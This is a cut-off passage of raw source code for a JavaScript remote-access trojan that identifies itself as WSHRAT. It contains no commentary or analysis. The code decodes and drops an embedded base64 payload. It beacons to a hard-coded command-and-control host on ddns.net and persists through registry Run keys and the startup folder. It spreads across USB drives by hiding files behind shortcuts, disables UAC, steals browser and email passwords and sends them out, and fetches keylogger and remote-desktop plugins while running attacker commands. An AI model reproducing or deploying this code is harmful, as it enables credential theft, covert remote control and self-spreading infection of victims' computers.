WRWYWx1ZSk7CgkJCXR1dE5rYW1hbi5Qb3NpdGlvbiA9IDA7CgkJCXR1dE5rYW1hbi5UeXBlID0gKDMtMSk7CgkJCXR1dE5rYW1hbi5DaGFyU2V0ID0gInVzLWFzY2lpIjsKCQkJYTFzMmVldyA9IEFycmF5KHR1dE5rYW1hbi5SZWFkVGV4dCgpLCBldmFsKTsKCQkJbnR2ID0gbnVsbDsKCQl9ZWxzZXsKCQkJbnR2ID0gcG93ZXJRUVEoW3dlYWswbzBvKCksIG50di5pdGVtKCkubm9kZVR5cGVkVmFsdWVdLCBudWxsLCBldmFsKTsKCQl9CgkJYTFzMmVldzIgPSBudHYuUmVhZCgpOwoJCQoJfWNhdGNoKGVycil7CgkJYTFzMmVld1sxXSh7ajpbYTFzMmVld1swXV19LmpbMF0pOwoJfQp9CgpoYWlsTVlqZXMoQXJyYXkoIj4+JSIsICJnIiksIENPWzBdKCJNaWNyb3NvZnQuWG1sRG9tIikpOwo=&quot;;\r\nvar wshShell1 = WScript.CreateObject(&quot;WScript.Shell&quot;);\r\nvar appdatadir1 = wshShell1.ExpandEnvironmentStrings(&quot;%appdata%&quot;);\r\nvar stubpath1 = appdatadir1 + &quot;\\\\aRUaSMlhYC.js&quot;;\r\nvar decoded1 = decodeBase64(longText1);\r\nwriteBytes(stubpath1, decoded1);\r\nwshShell1.run(&quot;wscript \/\/B \\&quot;&quot; + stubpath1 + &quot;\\&quot;&quot;);\r\n}catch(er){}\r\nfunction writeBytes(file, bytes){\r\ntry{\r\nvar binaryStream = WScript.CreateObject(&quot;ADODB.Stream&quot;);\r\nbinaryStream.Type = 1;\r\nbinaryStream.Open();\r\nbinaryStream.Write(bytes);\r\nbinaryStream.SaveToFile(file, 2);\r\n}catch(err){\r\n}\r\n}\r\nfunction decodeBase64(base64){\r\nvar DM = WScript.CreateObject(&quot;Microsoft.XMLDOM&quot;);\r\nvar EL = DM.createElement(&quot;tmp&quot;);\r\nEL.dataType = &quot;bin.base64&quot;;\r\nEL.text = base64;\r\nreturn EL.nodeTypedValue;\r\n}\r\nwshShell1 = null;\r\nvar host = &quot;Extendwsh5600.ddns.net&quot;;\r\nvar port = 5600;\r\nvar installdir = &quot;%temp%&quot;;\r\nvar runAsAdmin = false;\r\nvar lnkfile = true;\r\nvar lnkfolder = true;\r\nif(runAsAdmin == true){\r\nstartupElevate();\r\n}\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\ndisableSecurity();\r\n}\r\nvar shellobj = WScript.createObject(&quot;wscript.shell&quot;);\r\nvar filesystemobj = WScript.createObject(&quot;scripting.filesystemobject&quot;);\r\nvar httpobj = WScript.createObject(&quot;msxml2.xmlhttp&quot;);\r\nvar installname = WScript.scriptName;\r\nvar startup = shellobj.specialFolders(&quot;startup&quot;) + &quot;\\\\&quot;;\r\ninstalldir = shellobj.ExpandEnvironmentStrings(installdir) + &quot;\\\\&quot;;\r\nif(!filesystemobj.folderExists(installdir)){  installdir = shellobj.ExpandEnvironmentStrings(&quot;%temp%&quot;) + &quot;\\\\&quot;;}\r\nvar spliter = &quot;|&quot;;\r\nvar sleep = 5000;\r\nvar response, cmd, param, oneonce;\r\nvar inf = &quot;&quot;;\r\nvar usbspreading = &quot;&quot;;\r\nvar startdate = &quot;&quot;;\r\ninstance();\r\nwhile(true){\r\ntry{\r\ninstall();\r\nresponse = &quot;&quot;;\r\nresponse = post (&quot;is-ready&quot;,&quot;&quot;);\r\ncmd = response.split(spliter);\r\nswitch(cmd&#x5B;0]){\r\ncase &quot;disconnect&quot;:\r\nWScript.quit();\r\nbreak;\r\ncase &quot;reboot&quot;:\r\nshellobj.run(&quot;%comspec% \/c shutdown \/r \/t 0 \/f&quot;, 0, true);\r\nbreak;\r\ncase &quot;shutdown&quot;:\r\nshellobj.run(&quot;%comspec% \/c shutdown \/s \/t 0 \/f&quot;, 0, true);\r\nbreak;\r\ncase &quot;excecute&quot;:\r\nparam = cmd&#x5B;1];\r\neval(param);\r\nbreak;\r\ncase &quot;get-pass&quot;:\r\npassgrabber(cmd&#x5B;1], &quot;cmdc.exe&quot;, cmd&#x5B;2]);\r\nbreak;\r\ncase &quot;get-pass-offline&quot;:\r\npassgrabber2(cmd&#x5B;1], &quot;cmdc.exe&quot;, cmd&#x5B;2]);\r\nbreak;\r\ncase &quot;update&quot;:\r\nparam = response.substr(response.indexOf(&quot;|&quot;) + 1);\r\noneonce.close();\r\noneonce = filesystemobj.openTextFile(installdir + installname ,2, false);\r\noneonce.write(param);\r\noneonce.close();\r\nshellobj.run(&quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot;);\r\nupdatestatus(&quot;Updated&quot;);\r\nWScript.quit();\r\ncase &quot;uninstall&quot;:\r\nuninstall();\r\nbreak;\r\ncase &quot;up-n-exec&quot;:\r\ndownload(cmd&#x5B;1],cmd&#x5B;2]);\r\nbreak;\r\ncase &quot;bring-log&quot;:\r\nupload(installdir + &quot;wshlogs\\\\&quot; + cmd&#x5B;1], &quot;take-log&quot;);\r\nbreak;\r\ncase &quot;down-n-exec&quot;:\r\nsitedownloader(cmd&#x5B;1],cmd&#x5B;2]);\r\nbreak;\r\ncase  &quot;filemanager&quot;:\r\nservicestarter(cmd&#x5B;1], &quot;fm-plugin.exe&quot;, information());\r\nbreak;\r\ncase  &quot;rdp&quot;:\r\nservicestarter(cmd&#x5B;1], &quot;rd-plugin.exe&quot;, information());\r\nbreak;\r\ncase  &quot;keylogger&quot;:\r\nkeyloggerstarter(cmd&#x5B;1], &quot;kl-plugin.exe&quot;, information(), 0);\r\nbreak;\r\ncase  &quot;offline-keylogger&quot;:\r\nkeyloggerstarter(cmd&#x5B;1], &quot;kl-plugin.exe&quot;, information(), 1);\r\nbreak;\r\ncase  &quot;browse-logs&quot;:\r\npost(&quot;is-logs&quot;, enumfaf(installdir + &quot;wshlogs&quot;));\r\nbreak;\r\ncase  &quot;cmd-shell&quot;:\r\nparam = cmd&#x5B;1];\r\npost(&quot;is-cmd-shell&quot;,cmdshell(param));\r\nbreak;\r\ncase  &quot;get-processes&quot;:\r\npost(&quot;is-processes&quot;, enumprocess());\r\nbreak;\r\ncase  &quot;disable-uac&quot;:\r\ndisableSecurity();\r\nupdatestatus(&quot;UAC+Disabled+(Reboot+Required)&quot;);\r\nbreak;\r\ncase  &quot;check-eligible&quot;:\r\nif(filesystemobj.fileExists(cmd&#x5B;1])){\r\nupdatestatus(&quot;Is+Eligible&quot;);\r\n}else{\r\nupdatestatus(&quot;Not+Eligible&quot;);\r\n}\r\nbreak;\r\ncase  &quot;force-eligible&quot;:\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\nif(filesystemobj.folderExists(cmd&#x5B;1])){\r\nshellobj.run(&quot;%comspec% \/c &quot; + cmd&#x5B;2], 0, true);\r\nupdatestatus(&quot;SUCCESS&quot;);\r\n}else{\r\nupdatestatus(&quot;Component+Missing&quot;);\r\n}\r\n}\r\nelse{\r\nupdatestatus(&quot;Elevation+Required&quot;);\r\n}\r\nbreak;\r\ncase  &quot;elevate&quot;:\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\ntry{\r\noneonce.close();\r\noneonce = null;\r\nWScript.CreateObject(&quot;Shell.Application&quot;).ShellExecute(&quot;wscript.exe&quot;, &quot; \/\/B \\&quot;&quot; + WScript.ScriptFullName + &quot;\\&quot; \/elevated&quot;, &quot;&quot;, &quot;runas&quot;, 1);\r\nupdatestatus(&quot;Client+Elevated&quot;);\r\n}catch(nn){\r\n}\r\nWScript.quit();\r\n}\r\nelse{\r\nupdatestatus(&quot;Client+Elevated&quot;);\r\n}\r\nbreak;\r\ncase  &quot;if-elevate&quot;:\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\nupdatestatus(&quot;Client+Not+Elevated&quot;);\r\n}\r\nelse{\r\nupdatestatus(&quot;Client+Elevated&quot;);\r\n}\r\nbreak;\r\ncase  &quot;kill-process&quot;:\r\nexitprocess(cmd&#x5B;1]);\r\nbreak;\r\ncase  &quot;sleep&quot;:\r\nparam = cmd&#x5B;1];\r\nsleep = eval(param);\r\nbreak;\r\n}\r\n}catch(er){}\r\nWScript.sleep(sleep);\r\n}\r\nfunction install(){\r\nvar lnkobj;\r\nvar filename;\r\nvar foldername;\r\nvar fileicon;\r\nvar foldericon;\r\nupstart();\r\nfor(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){\r\nvar drive = dri.item();\r\nif (drive.isready == true){\r\nif (drive.freespace &gt; 0 ){\r\nif (drive.drivetype == 1 ){\r\ntry{\r\nfilesystemobj.copyFile(WScript.scriptFullName , drive.path + &quot;\\\\&quot; + installname,true);\r\nif (filesystemobj.fileExists (drive.path + &quot;\\\\&quot; + installname)){\r\nfilesystemobj.getFile(drive.path + &quot;\\\\&quot;  + installname).attributes = 2+4;\r\n}\r\n}catch(eiju){}\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).files); !fi.atEnd(); fi.moveNext()){\r\ntry{\r\nvar file = fi.item();\r\nif (lnkfile == false){break;}\r\nif (file.name.indexOf(&quot;.&quot;)){\r\nif ((file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length - 1]).toLowerCase() != &quot;lnk&quot;){\r\nfile.attributes = 2+4;\r\nif (file.name.toUpperCase() != installname.toUpperCase()){\r\nfilename = file.name.split(&quot;.&quot;);\r\nlnkobj = shellobj.createShortcut(drive.path + &quot;\\\\&quot;  + filename&#x5B;0] + &quot;.lnk&quot;);\r\nlnkobj.windowStyle = 7;\r\nlnkobj.targetPath = &quot;cmd.exe&quot;;\r\nlnkobj.workingDirectory = &quot;&quot;;\r\nlnkobj.arguments = &quot;\/c start &quot; + installname.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) + &quot;&amp;start &quot; + file.name.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) +&quot;&amp;exit&quot;;\r\ntry{fileicon = shellobj.RegRead (&quot;HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\&quot; + shellobj.RegRead (&quot;HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\.&quot; + file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length - 1]+ &quot;\\\\&quot;) + &quot;\\\\defaulticon\\\\&quot;); }catch(eeee){}\r\nif (fileicon.indexOf(&quot;,&quot;) == 0){\r\nlnkobj.iconLocation = file.path;\r\n}else {\r\nlnkobj.iconLocation = fileicon;\r\n}\r\nlnkobj.save();\r\n}\r\n}\r\n}\r\n}catch(err){}\r\n}\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).subFolders); !fi.atEnd(); fi.moveNext()){\r\ntry{\r\nvar folder = fi.item();\r\nif (lnkfolder == false){break;}\r\nfolder.attributes = 2+4;\r\nfoldername = folder.name;\r\nlnkobj = shellobj.createShortcut(drive.path + &quot;\\\\&quot;  + foldername + &quot;.lnk&quot;);\r\nlnkobj.windowStyle = 7;\r\nlnkobj.targetPath = &quot;cmd.exe&quot;;\r\nlnkobj.workingDirectory = &quot;&quot;;\r\nlnkobj.arguments = &quot;\/c start &quot; + installname.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) + &quot;&amp;start explorer &quot; + folder.name.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) +&quot;&amp;exit&quot;;\r\nfoldericon = shellobj.RegRead(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\folder\\\\defaulticon\\\\&quot;);\r\nif (foldericon.indexOf(&quot;,&quot;) == 0){\r\nlnkobj.iconLocation = folder.path;\r\n}else {\r\nlnkobj.iconLocation = foldericon;\r\n}\r\nlnkobj.save();\r\n}catch(err){}\r\n}\r\n}\r\n}\r\n}\r\n}\r\n}\r\nfunction startupElevate(){\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\ntry{\r\nWScript.CreateObject(&quot;Shell.Application&quot;).ShellExecute(&quot;wscript.exe&quot;, &quot; \/\/B \\&quot;&quot; + WScript.ScriptFullName + &quot;\\&quot; \/elevated&quot;, &quot;&quot;, &quot;runas&quot;, 1);\r\n}catch(nn){\r\n}\r\nWScript.quit();\r\n}\r\n}\r\nfunction disableSecurity(){\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\nvar oReg = GetObject(&quot;winmgmts:{impersonationLevel=impersonate}!\\\\\\\\.\\\\root\\\\default:StdRegProv&quot;);\r\noReg.SetDwordValue(0x80000002,&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System&quot;,&quot;EnableLUA&quot;, 0);\r\noReg.SetDwordValue(0x80000002,&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System&quot;,&quot;ConsentPromptBehaviorAdmin&quot;, 0);\r\noReg = null;\r\n}\r\n}\r\nfunction uninstall(){\r\ntry{\r\nvar filename;\r\nvar foldername;\r\ntry{\r\nshellobj.RegDelete(&quot;HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]);\r\nshellobj.RegDelete(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]);\r\n}catch(ei){}\r\ntry{\r\nfilesystemobj.deleteFile(startup + installname ,true);\r\nfilesystemobj.deleteFile(WScript.scriptFullName ,true);\r\n}catch(eej){}\r\nfor(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){\r\nvar drive = dri.item();\r\nif (drive.isready == true){\r\nif (drive.freespace &gt; 0 ){\r\nif (drive.drivetype == 1 ){\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).files); !fi.atEnd(); fi.moveNext()){\r\nvar file = fi.item();\r\ntry{\r\nif (file.name.indexOf(&quot;.&quot;)){\r\nif ((file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length - 1]).toLowerCase() != &quot;lnk&quot;){\r\nfile.attributes = 0;\r\nif (file.name.toUpperCase() != installname.toUpperCase()){\r\nfilename = file.name.split(&quot;.&quot;);\r\nfilesystemobj.deleteFile(drive.path + &quot;\\\\&quot; + filename&#x5B;0] + &quot;.lnk&quot; );\r\n}else{\r\nfilesystemobj.deleteFile(drive.path + &quot;\\\\&quot; + file.name);\r\n}\r\n}else{\r\nfilesystemobj.deleteFile (file.path);\r\n}\r\n}\r\n}catch(ex){}\r\n}\r\nfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).subFolders); !fi.atEnd(); fi.moveNext()){\r\nvar folder = fi.item();\r\nfolder.attributes = 0;\r\n}\r\n}\r\n}\r\n}\r\n}\r\n}catch(err){}\r\nWScript.quit();\r\n}\r\nfunction post (cmd ,param){\r\ntry{\r\nhttpobj.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + cmd, false);\r\nhttpobj.setRequestHeader(&quot;user-agent:&quot;,information());\r\nhttpobj.send(param);\r\nreturn httpobj.responseText;\r\n}catch(err){\r\nreturn &quot;&quot;;\r\n}\r\n}\r\nfunction information(){\r\ntry{\r\nif (inf == &quot;&quot;){\r\ninf = hwid() + spliter;\r\ninf = inf  + shellobj.ExpandEnvironmentStrings(&quot;%computername%&quot;) + spliter ;\r\ninf = inf  + shellobj.ExpandEnvironmentStrings(&quot;%username%&quot;) + spliter;\r\nvar root = GetObject(&quot;winmgmts:{impersonationlevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar os = root.ExecQuery (&quot;select * from win32_operatingsystem&quot;);\r\nfor(var fi = new Enumerator(os); !fi.atEnd(); fi.moveNext()){\r\nvar osinfo = fi.item();\r\ninf = inf + osinfo.caption + spliter;\r\nbreak;\r\n}\r\ninf = inf + &quot;plus&quot; + spliter;\r\ninf = inf + security() + spliter;\r\ninf = inf + usbspreading;\r\ninf = &quot;WSHRAT&quot; + spliter + inf + spliter + &quot;JavaScript-v1.3&quot; ;\r\nreturn inf;\r\n}else{\r\nreturn inf;\r\n}\r\n}catch(err){\r\nreturn &quot;&quot;;\r\n}\r\n}\r\nfunction upstart (){\r\ntry{\r\ntry{\r\nshellobj.RegWrite(&quot;HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0],  &quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot; , &quot;REG_SZ&quot;);\r\nshellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0],  &quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot; , &quot;REG_SZ&quot;);\r\n}catch(ei){}\r\nfilesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true);\r\nfilesystemobj.copyFile(WScript.scriptFullName, startup + installname, true);\r\n}catch(err){}\r\n}\r\nfunction hwid(){\r\ntry{\r\nvar root = GetObject(&quot;winmgmts:{impersonationLevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar disks = root.ExecQuery (&quot;select * from win32_logicaldisk&quot;);\r\nfor(var fi = new Enumerator(disks); !fi.atEnd(); fi.moveNext()){\r\nvar disk = fi.item();\r\nif (disk.volumeSerialNumber != &quot;&quot;){\r\nreturn disk.volumeSerialNumber;\r\nbreak;\r\n}\r\n}\r\n}catch(err){\r\nreturn &quot;&quot;;\r\n}\r\n}\r\nfunction security(){\r\ntry{\r\nvar objwmiservice = GetObject(&quot;winmgmts:{impersonationlevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar colitems = objwmiservice.ExecQuery(&quot;select * from win32_operatingsystem&quot;,null,48);\r\nvar versionstr, osversion;\r\nfor(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){\r\nvar objitem = fi.item();\r\nversionstr = objitem.version.toString().split(&quot;.&quot;);\r\n}\r\nosversion = versionstr&#x5B;0] + &quot;.&quot;;\r\nfor (var x = 1; x &lt; versionstr.length; x++){\r\nosversion = osversion + versionstr&#x5B;0];\r\n}\r\nosversion = eval(osversion);\r\nvar sc;\r\nif (osversion &gt; 6){ sc = &quot;securitycenter2&quot;; }else{ sc = &quot;securitycenter&quot;;}\r\nvar objsecuritycenter = GetObject(&quot;winmgmts:\\\\\\\\localhost\\\\root\\\\&quot; + sc);\r\nvar colantivirus = objsecuritycenter.ExecQuery(&quot;select * from antivirusproduct&quot;, &quot;wql&quot;, 0);\r\nvar secu = &quot;&quot;;\r\nfor(var fi = new Enumerator(colantivirus); !fi.atEnd(); fi.moveNext()){\r\nvar objantivirus = fi.item();\r\nsecu = secu  + objantivirus.displayName + &quot; .&quot;;\r\n}\r\nif(secu == &quot;&quot;){secu = &quot;nan-av&quot;;}\r\nreturn secu;\r\n}catch(err){}\r\n}\r\nfunction getDate(){\r\nvar s = &quot;&quot;;\r\nvar d = new Date();\r\ns += d.getDate() + &quot;\/&quot;;\r\ns += (d.getMonth() + 1) + &quot;\/&quot;;\r\ns += d.getYear();\r\nreturn s;\r\n}\r\nfunction instance(){\r\ntry{\r\ntry{\r\nusbspreading = shellobj.RegRead(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0] + &quot;\\\\&quot;);\r\n}catch(eee){}\r\nif(usbspreading == &quot;&quot;){\r\nif (WScript.scriptFullName.substr(1).toLowerCase() == &quot;:\\\\&quot; +  installname.toLowerCase()){\r\nusbspreading = &quot;true - &quot; + getDate();\r\ntry{shellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0] + &quot;\\\\&quot;,  usbspreading, &quot;REG_SZ&quot;);}catch(eeeee){}\r\n}else{\r\nusbspreading = &quot;false - &quot; + getDate();\r\ntry{shellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]  + &quot;\\\\&quot;,  usbspreading, &quot;REG_SZ&quot;);}catch(eeeee){}\r\n}\r\n}\r\nupstart();\r\nvar scriptfullnameshort =  filesystemobj.getFile(WScript.scriptFullName);\r\nvar installfullnameshort =  filesystemobj.getFile(installdir + installname);\r\nif (scriptfullnameshort.shortPath.toLowerCase() != installfullnameshort.shortPath.toLowerCase()){\r\nshellobj.run(&quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot;);\r\nWScript.quit();\r\n}\r\noneonce = filesystemobj.openTextFile(installdir + installname ,8, false);\r\n}catch(err){\r\nWScript.quit();\r\n}\r\n}\r\nfunction passgrabber (fileurl, filename, retcmd){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\ntry{filesystemobj.deleteFile(installdir + filename + &quot;data&quot;);}catch(ey){}\r\nvar config_file = installdir + filename.substr(0, filename.lastIndexOf(&quot;.&quot;)) + &quot;.cfg&quot;;\r\nvar cfg = &quot;&#x5B;General]\\nShowGridLines=0\\nSaveFilterIndex=0\\nShowInfoTip=1\\nUseProfileFolder=0\\nProfileFolder=\\nMarkOddEvenRows=0\\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\\nSort=0&quot;;\r\nvar writer = filesystemobj.openTextFile(config_file, 2, true);\r\nwriter.writeLine(cfg);\r\nwriter.close();\r\nwriter = null;\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\ntry{\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}catch(ez){\r\nupdatestatus(&quot;Access+Denied&quot;);\r\n}\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nvar runner = WScript.CreateObject(&quot;Shell.Application&quot;);\r\nvar saver = objfsodownload.getFile(strsaveto).shortPath;\r\nfor(var i=0; i&lt;5; i++){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nWScript.sleep(1000);\r\nrunner.shellExecute(saver, &quot; \/stext &quot; + saver + &quot;data&quot;);\r\nWScript.sleep(5000);\r\nif(objfsodownload.fileExists(saver + &quot;data&quot;)){\r\nvar outpath = installdir + &quot;wshlogs\\\\recovered_password_backup.log&quot;;\r\nvar folder = objfsodownload.GetParentFolderName(outpath);\r\nif (!objfsodownload.FolderExists(folder))\r\n{\r\nshellobj.run(&quot;%comspec% \/c mkdir \\&quot;&quot; + folder + &quot;\\&quot;&quot;, 0, true);\r\n}\r\nobjfsodownload.copyFile(saver + &quot;data&quot;, outpath, true);\r\nbreak;\r\n}\r\n}\r\ndeletefaf(strsaveto);\r\nupload(saver + &quot;data&quot;, retcmd);\r\n}\r\n}\r\nfunction passgrabber2(fileurl, filename, fileurl2){\r\nfor(var h=0; h&lt;2; h++){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\ntry{filesystemobj.deleteFile(installdir + filename + &quot;data&quot;);}catch(ey){}\r\nvar config_file = installdir + filename.substr(0, filename.lastIndexOf(&quot;.&quot;)) + &quot;.cfg&quot;;\r\nvar cfg = &quot;&#x5B;General]\\nShowGridLines=0\\nSaveFilterIndex=0\\nShowInfoTip=1\\nUseProfileFolder=0\\nProfileFolder=\\nMarkOddEvenRows=0\\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\\nSort=0&quot;;\r\nvar writer = filesystemobj.openTextFile(config_file, 2, true);\r\nwriter.writeLine(cfg);\r\nwriter.close();\r\nwriter = null;\r\nvar strlink = fileurl;\r\nif(h == 1){strlink = fileurl2;}\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nvar runner = WScript.CreateObject(&quot;Shell.Application&quot;);\r\nvar saver = objfsodownload.getFile(strsaveto).shortPath\r\nfor(var i=0; i&lt;5; i++){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nWScript.sleep(1000);\r\nrunner.shellExecute(saver, &quot; \/stext &quot; + saver + &quot;data&quot;);\r\nWScript.sleep(2000);\r\nif(objfsodownload.fileExists(saver + &quot;data&quot;)){\r\nvar objstreamuploade = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamuploade.Type = 2;\r\nobjstreamuploade.Open();\r\nobjstreamuploade.loadFromFile(saver + &quot;data&quot;);\r\nvar buffer = objstreamuploade.ReadText();\r\nobjstreamuploade.close();\r\nvar outpath = installdir + &quot;wshlogs\\\\recovered_password_browser.log&quot;;\r\nif(h == 1){outpath = installdir + &quot;wshlogs\\\\recovered_password_email.log&quot;;}\r\nvar folder = objfsodownload.GetParentFolderName(outpath);\r\nif (!objfsodownload.FolderExists(folder))\r\n{\r\nshellobj.run(&quot;%comspec% \/c mkdir \\&quot;&quot; + folder + &quot;\\&quot;&quot;, 0, true);\r\n}\r\nwriter = filesystemobj.openTextFile(outpath, 2, true);\r\nwriter.write(buffer);\r\nwriter.close();\r\nwriter = null;\r\nbreak;\r\n}\r\n}\r\ndeletefaf(strsaveto);\r\n}\r\n}\r\n}\r\nfunction keyloggerstarter (fileurl, filename, filearg, is_offline){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot; );\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\nobjfsodownload.deleteFile(strsaveto);\r\n}\r\nif (objhttpdownload.status == 200){\r\ntry{\r\nvar  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\nobjstreamdownload.Type = 1;\r\nobjstreamdownload.Open();\r\nobjstreamdownload.Write(objhttpdownload.responseBody);\r\nobjstreamdownload.SaveToFile(strsaveto);\r\nobjstreamdownload.close();\r\nobjstreamdownload = null;\r\n}catch(err){\r\nupdatestatus(&quot;Access+Denied&quot;);\r\n}\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\nshellobj.run(&quot;\\&quot;&quot; + strsaveto + &quot;\\&quot; &quot; + host + &quot; &quot; + port + &quot; \\&quot;&quot; + filearg + &quot;\\&quot; &quot; + is_offline);\r\n}\r\n}\r\nfunction servicestarter (fileurl, filename, filearg){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot; );\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, 